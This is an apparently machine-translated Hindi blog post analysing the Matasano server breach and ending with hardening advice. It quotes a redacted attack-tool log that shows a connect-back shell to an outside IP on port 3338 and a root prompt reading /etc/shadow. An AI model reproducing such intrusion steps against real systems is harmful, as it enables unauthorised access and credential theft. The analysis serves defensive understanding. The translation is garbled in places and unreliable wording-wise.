मैटासानो को कैसे हैक किया गया?
पोस्ट में पूर्ण प्रकटीकरण की जानकारी से उत्तर देना असंभव है। हालांकि यह अनुमान लगाना हमेशा दिलचस्प होता है, क्योंकि वे थोड़ी जानकारी देते हैं -
# ./th3_f1n4l_s0lut10n www.matasano.com
[-] 69.61.87.163:22 से कनेक्ट
[/] वैध गैर-रूट उपयोक्ता की तलाश में .. adam
******** R3D4CT3D h4h4h4h4 ********
वे th3_f1n41_s01ut10nमाटासानो के सर्वर के खिलाफ अपना बाइनरी " " चलाते हैं , जो ssh पोर्ट से जुड़ता है। यह कुछ अज्ञात साधनों के माध्यम से एक वैध गैर-रूट उपयोगकर्ता पाता है, और बाकी आउटपुट को फिर से तैयार किया जाता है।
# ./3_f1n4l_s0lut10n -u adam -t 3 www.matasano.com
[*] 209.112.118.10:3338 पर कनेक्टबैक श्रोता ।।
[!] SSH2_MSG_SERVICE_ACCEPT [OpenSSH_4.5p1, OpenSSL 0.9.8g 19 अक्टूबर 2007]
बाइनरी को फिर से पाया उपयोगकर्ता नाम का उपयोग करके चलाया जाता है, जो लॉग इन करता है और पोर्ट 3338 पर अपने सर्वर से जुड़ता है (आशा है कि यह उनके कंप्यूटर में पंजीकृत नहीं है ...)।
adam_at_www: ~ $ uname -a
लिनक्स www 2.6.20.1-1-686 # 1 एसएमपी सन मार्च 4 12:44:55 यूटीसी 2007 i686 जीएनयू / लिनक्स
**** h4h4h4hh4h4h4 l3tz us3 m0r3! 0D4Y! H4H4H4H4H4H4H4 ****
वे इस कर्नेल के खिलाफ 0-दिन लगा सकते हैं, जो इस कंपनी के स्टॉक-इन-ट्रेड पर विचार करने पर काफी पुराना है।
adam_at_www: ~ $ cd / tmp
*********** B0R1NG ***********
root_at_www: ~ # बिल्ली / आदि / छाया
वूप्स - अचानक उपयोगकर्ता अब जड़ है। उनके पास / tmp में एक स्थानीय विशेषाधिकार वृद्धि का शोषण होता है, जिसे वे जिस दिन संदर्भित करते हैं, वह 0-दिन हो सकता है।
तो यहाँ पर कम से कम दो कारनामे चल रहे हैं - OpenSSH सिस्टम पर एक वैध नॉन-रूट उपयोगकर्ता प्राप्त करने के लिए शोषण करता है, और उस उपयोगकर्ता के रूप में लॉगिन करता है, और फिर स्थानीय विशेषाधिकार बढ़ जाता है।
यह मानते हुए कि OpenSSH में 4.5 संस्करण के बाद से कुछ ज्ञात सुरक्षा मुद्दे हैं:
से OpenSSH की सुरक्षा पेज :
- संस्करण 5.2 से पहले OpenSSH CPNI-957037 "प्लेनटेक्स रिकवरी अटैक अगेंस्ट एसएसएच" में वर्णित प्रोटोकॉल कमजोरी के लिए कमजोर है। हालांकि, उपलब्ध सीमित जानकारी के आधार पर ऐसा प्रतीत होता है कि यह वर्णित हमला ज्यादातर परिस्थितियों में संभव नहीं है। अधिक जानकारी के लिए कृपया cbc.adv सलाहकार और OpenSSH 5.2 रिलीज़ नोट देखें।
- OpenSSH 4.9 और नए
~/.ssh/rcसत्रों के लिए निष्पादित नहीं करते हैं जिनकी कमान sshd_config (5) ForceCommand निर्देश के साथ ओवरराइड की गई है। यह एक प्रलेखित, लेकिन असुरक्षित व्यवहार (ओपनएसएसएच 4.9 जारी नोट में वर्णित) था।
- OpenSSH 4.7 और जारी नए विश्वसनीय X11 प्रमाणीकरण कुकीज़ बनाने के लिए वापस नहीं आते हैं जब अविश्वसनीय कुकी पीढ़ी विफल हो जाती है (उदाहरण के लिए जानबूझकर संसाधन थकावट के कारण), जैसा कि ओपनएसएसएच 4.7 रिलीज नोट में वर्णित है।
मुझे लगता है कि यह पुराने लिनक्स कर्नेल और पुराने SSH डेमॉन ने उनके लिए किया था। इसके अलावा, यह उनके www सर्वर पर चल रहा था, जो कि इंटरनेट के लिए उपलब्ध है, जो कि मेरी राय में करने के लिए काफी आश्वस्त करने वाली बात है। स्पष्ट रूप से टूट गए लोग उन्हें शर्मिंदा करना चाहते थे।
इन हमलों को कैसे रोका जाए?
यह सक्रिय प्रशासन द्वारा रोका जा सकता था - यह सुनिश्चित करता है कि किसी भी इंटरनेट-फेसिंग सेवाओं को पैच किया जाए, और उन लोगों की संख्या को सीमित किया जाए जो लोगों को कहीं से भी कनेक्ट करने की अनुमति देने के बजाय कनेक्ट कर सकते हैं। इस कड़ी में उस पाठ को समेटा गया है जो सिस्टम प्रशासन को सुरक्षित रखता है, और व्यवसाय से समर्पण की आवश्यकता होती है ताकि आईटी को चीजों को रखने के लिए समय प्रदान किया जा सके - वास्तविकता में, ऐसा कुछ नहीं जो आसानी से हो, कम से कम छोटी कंपनियों में।
बेल्ट-एंड-ब्रेसेस दृष्टिकोण का उपयोग करना सबसे अच्छा है - सार्वजनिक-कुंजी प्रमाणीकरण का उपयोग करना, शश डेमॉन पर श्वेत सूची बनाना, दो-कारक प्रमाणीकरण, आईपी प्रतिबंध और / या वीपीएन के पीछे सब कुछ डालकर इसे बंद करने के लिए संभव मार्ग हैं।
मुझे लगता है कि मैं जानता हूं कि मैं कल काम करूंगा। :)